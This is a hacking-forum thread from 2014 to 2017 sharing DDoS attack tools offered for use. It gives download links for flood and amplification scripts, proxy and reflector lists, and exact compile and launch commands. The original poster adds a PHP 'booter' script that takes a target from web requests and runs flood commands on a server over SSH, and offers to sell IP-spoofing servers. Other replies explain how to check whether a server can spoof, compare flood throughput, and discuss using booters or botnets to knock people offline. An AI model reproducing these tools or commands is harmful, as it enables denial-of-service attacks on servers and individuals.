Thread: [DDOS Script 100% works \[Layer 7 & 4\] + Free DNS AMP, CHARGEN, Pingback & Proxy List](#)

Host FR™ - May 15, 2014, 10:13 am

Hello all i give you Free DDOS Scripts using layer 7 & 4 of OSI Model + Fresh AMP & Proxy List.
I will give a thanks to G4el, BGR, Vyp0r, RPE, DarkRed, Billy, Buz1n & others Scripts authors
i haven't never code this scripts

Layer 7

ARME (For Apache Servers)

source: <http://www.mediafire.com/view/5evl45bx12jvod8/arme.c>

script: <http://www.mediafire.com/download/x09c0ci57m11ye4/arme>
./arme <http://google.com> 5000 proxies.txt 3600 0

GHP (Get / Head / Post)

source: <http://www.mediafire.com/view/h1k0rnot5x55x1m/ghp.c>

script: <http://www.mediafire.com/download/b5jtdhjpic6j3co/GHP>
./ghp <http://google.com> GET 5000 proxies.txt 3600 0 %random%

Hulk (Python)

Fresh Proxy List

List 1 <http://pastebin.com/caJVz4y0>
List 2 <http://pastebin.com/z0y0VPVG>

All this scripts works only on server where the ISP enabled IP Spoofing, to get a Spoofed Servers PM i will sell you a servers

[*] I hope have help you [*]

Reagan - May 15, 2014, 12:44 pm

ho ! thanks sir ! very nice sharing !

voilentwave - May 16, 2014, 12:27 am

This is awesomeshare .mamgreats super share :-)

ItsFluffy - May 16, 2014, 12:35 am

it's a nice compilation
why some mediafire instead of all pastebin?

if u want to take the time to do so, im sure some people would appreciate if you posted the command for script usage beneath the listed script

Host FR ™ - May 16, 2014, 1:32 am

(May 16, 2014 12:35 AM)ItsFluffy Wrote: [\[CITE\]](#) it's a nice compilation

You Want i put the command ? it's simply you just type ./script and after you have the command to put ?

and for the python script for example python myscript.py and after you have all commands for perl perl script.pl

but for the perl script you need to install all dependance (Raw IP & others ...) python too (scapy , & others ...)

PM me for more infos !?

ItsFluffy - May 16, 2014, 2:00 am

(May 16, 2014 01:32 AM)Host FR [™] Wrote: [\[CITE\]](#) You Want i put the command ? it's simply you just type ./script and after you have the command to put ?

and for the python script for example python myscript.py and after you have all commands for perl perl script.pl

but for the perl script you need to install all dependance (Raw IP & others ...) python too (scapy , & others ...)

PM me for more infos !?

Yup I know how to find the commands of the scripts, but there are many who do not so I figured I'd mention it

Host FR [™] - May 16, 2014, 4:19 am

maybe, but it's no hard to find just see the variables on the scripts

Tumppi - May 16, 2014, 5:10 am

Hey man, how can i use the DNSAMP? I tried to save it as dns.c and then compile it but it just gave me errors.

Host FR [™] - May 16, 2014, 5:21 am

you need to type this :

```
gcc amp.c -pthread -o amp
chmod +x amp
```

and use like this

```
./amp 127.0.0.1 80 amp.txt 2 3600
```

ItsFluffy - May 16, 2014, 5:39 am

(May 16, 2014 05:10 AM)Tumppi Wrote: [\[CITE\]](#) Hey man, how can i use the DNSAMP? I tried to save it as dns.c and then compile it but it just gave me errors.

(laughing) see, that's why i suggested to edit OP and add the command lines for users to know what to do because I know from experience there are simply users who very much appreciate these threads but don't know how to setup the scripts

PrimeStar - May 16, 2014, 5:41 am

(May 16, 2014 05:21 AM)Host FR [™] Wrote: [\[CITE\]](#) you need to type this :

```
gcc amp.c -pthread -o amp
chmod +x amp
```

and use like this

```
./amp 127.0.0.1 80 amp.txt 2 3600
```

Hi. I used it and it says:

```
root@vs511:/home# ./amp iP 80 amp.txt 2 60
Flooding iP
Thread 0 started
Thread 1 started
Starting Flood...
```

I DDoSed myself and it doesnt work.

Ok fluffy no problem i will edit
?

ItsFluffy - May 16, 2014, 5:50 am

(May 16, 2014 05:41 AM)Host FR™ Wrote: [\[CITE\]](#) Ok fluffy no problem i will edit
?
i hope everyone appreciates it when you edit it
at other poster, r u sure your server can even spoof?

Terorist - May 16, 2014, 6:12 am

i dont understand it. any guide how to use it?

ItsFluffy - May 16, 2014, 6:16 am

(May 16, 2014 06:12 AM)Terorist Wrote: [\[CITE\]](#) i dont understand it. any guide how to use it?
do you have a spoofing server?
do u have an amp list?

Host FR™ - May 16, 2014, 6:16 am

You need a server with IP Spoofing enabled
PrimeStar i think your ISP not Enabled IP Spoofing. PM me for more help. i am here for you beginners .

Terorist - May 16, 2014, 6:18 am

i have few dedi servers. how would i know it is spoofing or not?

DrCrumbs - May 16, 2014, 6:19 am

Very cool thank you so much.

The lists are huge so great.

Host FR™ - May 16, 2014, 6:25 am

(May 16, 2014 06:19 AM)DrCrumbs Wrote: [\[CITE\]](#) Very cool thank you so much.

The lists are huge so great.
You welcome sir !

If you want know if the spoofing is enabled make a dstat and see if you have an input power

ItsFluffy - May 16, 2014, 6:28 am

(May 16, 2014 06:18 AM)Terorist Wrote: [\[CITE\]](#) i have few dedi servers. how would i know it is spoofing or not?

typically the simplest way is to run a simple sudp script to see if it's spoofing u test against another server

no readout=no spoofing

Host FR™ - May 16, 2014, 6:30 am

Yes i agree with fluffy ! send a sudp attacks on a server and make a dstat to see if you receive something, if you receive nothing it's the server don't spoof

PrimeStar - May 16, 2014, 8:06 am

(May 16, 2014 06:16 AM)Host FR™ Wrote: [\[CITE\]](#) You need a server with IP Spoofing enabled PrimeStar i think your ISP not Enabled IP Spoofing. PM me for more help. i am here for you beginners .

I can't pm you, i have a too small amount of posts. Can you send me a PM with your Skype name? My "hoster" said i need to activate it, but i don't know how...He said he would do it for 30 eur and he would give me an udp script. I'm really a beginner and I want to learn it. I would purchase you, if you could me. Thanks <3

ItsFluffy - May 16, 2014, 8:26 am

primestar, you'll need 25 posts to be able to pm
it's very easy to do

Host FR™ - May 16, 2014, 8:57 am

(May 16, 2014 08:26 AM)ItsFluffy Wrote: [\[CITE\]](#) primestar, you'll need 25 posts to be able to pm

Ye I know. But i think im too stupid hahahah ?

ItsFluffy - May 16, 2014, 8:41 pm

(May 16, 2014 12:41 PM)PrimeStar Wrote: [\[CITE\]](#) Ye I know. But i think im too stupid hahahah ?
just saying if you want to pm people or do anything worthwhile on hf you're going to NEED enough posts to do so and 25 is minimum

ironbob - May 19, 2014, 10:20 am

Thack You. for scripts :X :X Thack You Thack You

Private666 - May 19, 2014, 12:49 pm

You should give BitchGotRaped credit for the scripts you stole off his thread.

Isolated™ - May 19, 2014, 5:28 pm

You should probably include a PHP file that basically lets you make your server into an API. And

Host FR, I've tried to purchase a VPS off of you but it's hard when you're online but never responding.

12ozpaint - May 19, 2014, 7:00 pm

Awesome share! Lots of scripts to look through, now just need to learn how to use them, haha!

Mike Ehrmantraut - May 19, 2014, 7:54 pm

Thanks for the share sir appreciate it :)

Host FR ™ - May 19, 2014, 11:35 pm

You welcome i am happy when you are satisfied !

Rackzen - May 20, 2014, 5:26 am

Very useful bro ! Will definetly use them , thanks.

Asylum1358 - May 20, 2014, 4:33 pm

I like how you tell them to PM you to get a spoofing server to use these scripts and provide a link to your thread for service, but on that thread it specifically says " We don't allow DDOS, Spoofing, IRC & others..."

Kind of contradicting yourself. Which one is it? You allow DDoS or not?

yh3ng - May 21, 2014, 5:06 am

Tested essyn and it works beautifully!

Lorde - May 21, 2014, 8:32 am

Nice share this will help a lot of people.

Host FR ™ - May 21, 2014, 12:44 pm

(May 20, 2014 04:33 PM)Asylum1358 Wrote: [\[CITE\]](#) I like how you tell them to PM you to get a spoofing server to use these scripts and provide a link to your thread for service, but on that thread it specifically says " We don't allow DDOS, Spoofing, IRC & others..."

my dedicated no spoof but i have many vps who allow ip spoofing

felicixus - May 21, 2014, 1:03 pm

Why don't you explain for each kind of attack how does it work?
Not how using it, how does it work....

Epidemz - May 22, 2014, 6:59 am

Thank you so much bro! There are some types of attacks I have not even heard of before.
It would be great to know more how to run and use these scripts more efficiently.

Host FR ™ - May 23, 2014, 10:59 am

Ho God ! thanks for + 1k watching my thread !! just amazing
<http://prntscr.com/3lvl6s>

sachin9425 - May 23, 2014, 11:05 am

really nice sharing thanx sir but dont know how to use it will you give your contact email

Host FR ™ - May 23, 2014, 11:08 am

(May 23, 2014 11:05 AM)sachin9425 Wrote: [\[CITE\]](#) really nice sharing thanx sir but dont know how

to use it will you give your contact email
Yes Hello sir, PM me & i will help you to use ?

d2a - May 23, 2014, 11:38 am

I didn't test these attacks before
I'll read about these attacks is interested

imdench124 - May 23, 2014, 2:13 pm

[img]http://#/1f8c3.jpg[/img] Hey wonder if this is really working not work for me

Rackzen - May 23, 2014, 2:32 pm

I will give this try since I like to test scripts etc .. Thanks for the share .

Ha Haaa - May 23, 2014, 11:33 pm

You should provide the PHP file to turn them into API's.

Host FR [™] - May 24, 2014, 6:59 am

(May 23, 2014 11:33 PM)Ak0n Wrote: [\[CITE\]](#) You should provide the PHP file to turn them into API's.
no problem dude for you :

```
Code <?php
ignore_user_abort(true);
set_time_limit(0);
```

```
$server_ip = "SERVER IP";
$server_pass = "SERVER PASS";
$server_user = "root";
```

```
$host = $_GET['target'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = strtoupper($_GET['method']);
```

//just an instance, edit with your Scripts, threads, lists and other you want.

```
if ($method == "UDP") { $command = "./amp ".$host." list.txt 2 -1 ".$time; }
if ($method == "SSYN") { $command = "./essyn ".$host." ".$port." 2 -1 ".$time; }
if ($method == "ARME") { $command = "./arme ".$host." 10 proxies.txt ".$time; }
if ($method == "RUDY") { $command = "./rudy ".$host." 1 10 proxies.txt ".$time." 0"; }
if ($method == "SLOW") { $command = "./slow ".$host." 25 proxies.txt ".$time; }
if ($method == "UDPLAG") { $command = "./udplag ".$host." list.txt 10 -1 ".$time; }
```

```
if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
if(!($con = ssh2_connect($server_ip, 22))){
    echo "Error: Connection Issue";
} else {
```

```
    if(!ssh2_auth_password($con, $server_user, $server_pass)) {
        echo "Error: Bad Login";
    } else {
```

```
        if (!($stream = ssh2_exec($con, $command))) {
            echo "Error: Unable to Execute Command\n";
```

```

} else {

stream_set_blocking($stream, true);
$data = "";
while ($buf = fread($stream,4096)) {

Add the ghp.c to the root directory.
In Putty type PHP Code
<?php
gcc ghp.c -pthread -o ghp

VictorXY - June 8, 2014, 4:04 pm

Does it work? Anyone tried it? If so, what do you think of it?

dr3wb - June 8, 2014, 9:43 pm

Nice list man. Its funny because about 2 months ago I was really looking for a big ass list of all DoS scripts, and couldnt find shit.... You my friend, are a god. Im just a day late and a dollar short lol

Host FR ™ - June 10, 2014, 2:05 pm

New scripts ! Scripts with fragmentation, Exclu on HF enjoy !

artcrimes - June 11, 2014, 1:41 am

Yes i know what's the problem

- 1) type "yum install gcc"
- 2) copy/past the Arme code on a Notepad file with .c extension
- 3) import to your FTP
- 4) type "gcc arme.c -pthread -o arme"
- 5) type "chmod +x arme"
- 6) usage : ./arme

Enjoy

Regards

Frag script :

```
chmod +x frag
./frag
```

DNS AMP :

```
gcc dnsamp.c -pthread -o dnsamp
chmod +x dnsamp
./dnsamp
```

?

If you need AMP List Look from here for private & strong list --->

<https://hackforums.net/showthread.php?tid=4257809>

for simple free list look here ---> <https://hackforums.net/showthread.php?tid=4250522>

Well you could target the players I suppose, but I think the servers are hosted by the company itself and not the players....

So, depends on your goal I guess.

Very easy to do <https://hackforums.net/showthread.php?tid=4257809> :D

DerekM - July 7, 2014, 9:02 pm

Good quality share and you even provided support and taught so many kids how to actually run Linux scripts, I can respect that.

Why are the author's comment lines always removed in public scripts, like ESSYN.c
I doubt it was you OP, not saying that, it was prb removed on the first leak.

Code /*

* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)

*/

Should be ...

Code /*

* All credits go to LiteSpeed

* For educational use only.

*[Instructions]: Save as essyn.c | compile with : gcc essyn.c -pthread -o essyn |

* This is released under the GNU GPL License v3.0, and is _____not_____ allowed to be used for commercial products

*/

TheBob - July 8, 2014, 12:49 am

Great scripts, and a vouch from me!

This list is massive..... ? You Rock!!!

Thank you sooo soo much !! ? ?

mix-ware - October 1, 2014, 10:36 am

thank you very much for this guy :)

Mr. Escrow - October 1, 2014, 11:39 am

great share, appreciate the info, anything on SSDP by chance?

enkanto - November 13, 2014, 5:33 pm

Wow.. i wan't to learn to create a stress test for my Game server..

can i use those script in Windows?

please help me.. Thanks..

By the way. GREAT SHARE !

Tumppi - November 14, 2014, 3:57 pm

Hey the XML-RPC c download link isn't working, could you replace it?

enkanto - November 15, 2014, 9:14 pm

up for this thread. i hope i could learn setting up my own DDoS :)

edit:

Hi. i am learning now those scripts.. and trying to understand how does it work..

one thing i dont understand is.. where to put the scripts?

is it anywhere in my root? for example. those Proxy List you put in the first page..

where should i put those ip.txt... thank you so much :)

notM9 - November 15, 2014, 9:23 pm

This is a very high quality thread. Good job on this OP! I love the fact that you took your time making this!

Hi im newbie here how do i do that layer 7 attack what will i do in that code?
And which code will i use?

007non - January 24, 2015, 5:45 am

it's a nice compilation
thx man for your work

8uB2iH4uS4oM3bE2h - February 18, 2015, 2:17 am

Can anyone explain how this works?

Quote:Haven

mediafire'com/download/2r5dm6d6ewb9w2w/haven

./haven -d 127.0.0.1 -s 255.255.255.255 -t 3600 -z 30

Output - February 18, 2015, 2:38 am

Nice release mate some good HQ scripts their.

PyroStorm - February 18, 2015, 6:14 pm

There's something wrong with the "TCP (Advanced ESSYN)" script. I can only hit around 32MB/s on a 1Gbit box, while the "Spoofed UDP" script pretty much maxes it out at 117MB/s.

Decafe - February 18, 2015, 6:26 pm

(Feb 18, 2015 07:14 PM)PyroStorm Wrote: [\[CITE\]](#) There's something wrong with the "TCP (Advanced ESSYN)" script. I can only hit around 32MB/s on a 1Gbit box, while the "Spoofed UDP" script pretty much maxes it out at 117MB/s.

117MB/s is 1 Gbit. 1 MB is equal to 8 Mb.

PyroStorm - February 18, 2015, 6:29 pm

(Feb 18, 2015 07:26 PM)Dacreep Wrote: [\[CITE\]](#) 117MB/s is 1 Gbit. 1 MB is equal to 8 Mb.

I know, do I look dumb to you? I'm pointing out that the UDP script maxes it out while the TCP one doesn't.

Decafe - February 18, 2015, 6:32 pm

(Feb 18, 2015 07:29 PM)PyroStorm Wrote: [\[CITE\]](#) I know, do I look dumb to you? I'm pointing out that the UDP script maxes it out while the TCP one doesn't.

How many threads are you using? TCP scripts take more processing power than UDP scripts to send the same amount.

PyroStorm - February 18, 2015, 6:38 pm

(Feb 18, 2015 07:32 PM)Dacreep Wrote: [\[CITE\]](#) How many threads are you using? TCP scripts take more processing power then UDP scripts to send the same amount.

I tried 8, 16 and 24 threads, all of which gave the same ~31MB/s result, which is unsurprising given that it's an 8-core CPU.

Decafe - February 18, 2015, 6:46 pm

(Feb 18, 2015 07:38 PM)PyroStorm Wrote: [\[CITE\]](#) I tried 8, 16 and 24 threads, all of which gave the same ~31MB/s result, which is unsurprising given that it's an 8-core CPU.

Try checking if your CPU is being maxed out with 16 threads, if it is that's the most your CPU can output.

Tekkie - February 20, 2015, 10:20 am

If anyone would like a graphical representation of just how powerful the Layer 7 is, check out this thread:

wireshark bro. search into it :P

topkekm80s - January 27, 2016, 6:56 pm

(Jan 27, 2016 02:39 PM)Killerz190 Wrote: [\[CITE\]](#) umm idk anything thats here i just want to grab a ip over irc or teamspeak to ddos someone can anyone help?
IRC (chat) and Teamspeak does not use P2P, therefore you will only get server ip's.

breaker1911 - January 28, 2016, 2:41 am

Chargen or NTP is better ? and i don't have the scanner code, did anyone here have that ?

N1nj4Styl3 - January 28, 2016, 6:20 am

That's a cool AIO topic. Too bad, user is closed. ?

Killerz190 - January 28, 2016, 8:17 am

umm kk. So what would i need to ddos or hit off someone? a booter? how much does it cost and is there any free ways of ddosing or hitting someone offline?

-Zeus- - January 28, 2016, 8:43 am

you will need a booter (i hate booters), you should use a spoofed vps, you could either just launch an attack straight from the VPS or host a botnet, and DDoS from that, but botnets will be way more than you need for a home connection. (depends on how many bots actually)

there are no 'free ways' of ddosing people

Finity - January 28, 2016, 8:44 am

(Jan 28, 2016 09:43 AM)-Zeus- Wrote: [\[CITE\]](#) you will need a booter (i hate booters), you should use a spoofed vps, you could either just launch an attack straight from the VPS or host a botnet, and DDoS from that, but botnets will be way more than you need for a home connection. (depends on how many bots actually)

there are no 'free ways' of ddosing people
Incorrect, they could use IPStresser even though it sucks.

BTCClone - February 17, 2016, 8:39 am

So this is a nice list, I'm trying to get the DNS Amplification to work, i inserted the source code in a new Xcode project file and it says "Incomplete definition of type 'struct iphdr'" so I'm guessing I'm missing a header file?

Edit:

I belive i sorted it out :D

Edit2: Works nicely i just dosed myself lol

jackvale - March 18, 2016, 5:10 am

yes its really nice sharing keep it up man.

The Lazy DuDe - April 4, 2016, 5:51 am

Can someone help me get a server?

8uB2iH4uS4oM3bE2h - May 29, 2016, 4:51 am

HTTP scripts built on C# doesn't work.

Segmentation fault (core dumped)

HackerHacked - May 29, 2016, 1:18 pm

Wow!!! Been looking for a stresser like this for awile now!!! :)

mayank_predator - June 17, 2016, 3:33 am

Does the XML-RPC still work? Does anyone know about the remote exploit?

Syncc - June 17, 2016, 5:18 am

How fucking far did you thread dig for this.

Bloodfoldx - November 4, 2016, 12:36 am

I know this may be old but where do I install these ddos scripts?

BannedOffline - November 4, 2016, 8:37 am

Undert@ker - November 16, 2016, 6:45 am

hi mate can you pm i want to know how to set up a stresstester website

Soldato1337 - November 16, 2016, 10:29 am

can you do a tut please how i use those?

Undert@ker - November 27, 2016, 10:52 am

if some on can help me set this up on my stresstest website you will be payed
add me on skype as i can not reply to your pm undertaker
or my teamspeak is rip.on.vg as for undertaker

kek hacker - November 28, 2016, 5:23 am

How big floods can this send in Gbps.

veryluckko - December 2, 2016, 12:09 am

thank you dude, i tried DNS AMP and NTP AMP scripts, it's work fine :)

OsuClient - December 2, 2016, 4:26 pm

Thanks for the share man.

waterlord1 - December 3, 2016, 1:49 am

Unfortunately, almost everything is not working ...

MegiasHack_YT - December 3, 2016, 1:04 pm

Awesome!! i will use it for my server

EchoCCMM - January 12, 2017, 11:27 pm

Good sharing

I wish if you add how to use them in your post, that would be 10/10

MasterzerG - March 14, 2017, 9:28 pm

this all scripts for linux only??

Essoslipknot - April 4, 2017, 8:28 am

? ! thanks ??????????

you are fucking moron this thread from 2015

daheike - June 22, 2017, 1:37 am

Do you have spoof server to sell?

Veuxy - *June 22, 2017, 6:15 am*

Why you do dis?

daddy11m0nst3r - *June 23, 2017, 9:01 am*

Old scripts, but all works.

Harrison Ford - *June 24, 2017, 5:28 am*

This is awesomeshare .mam
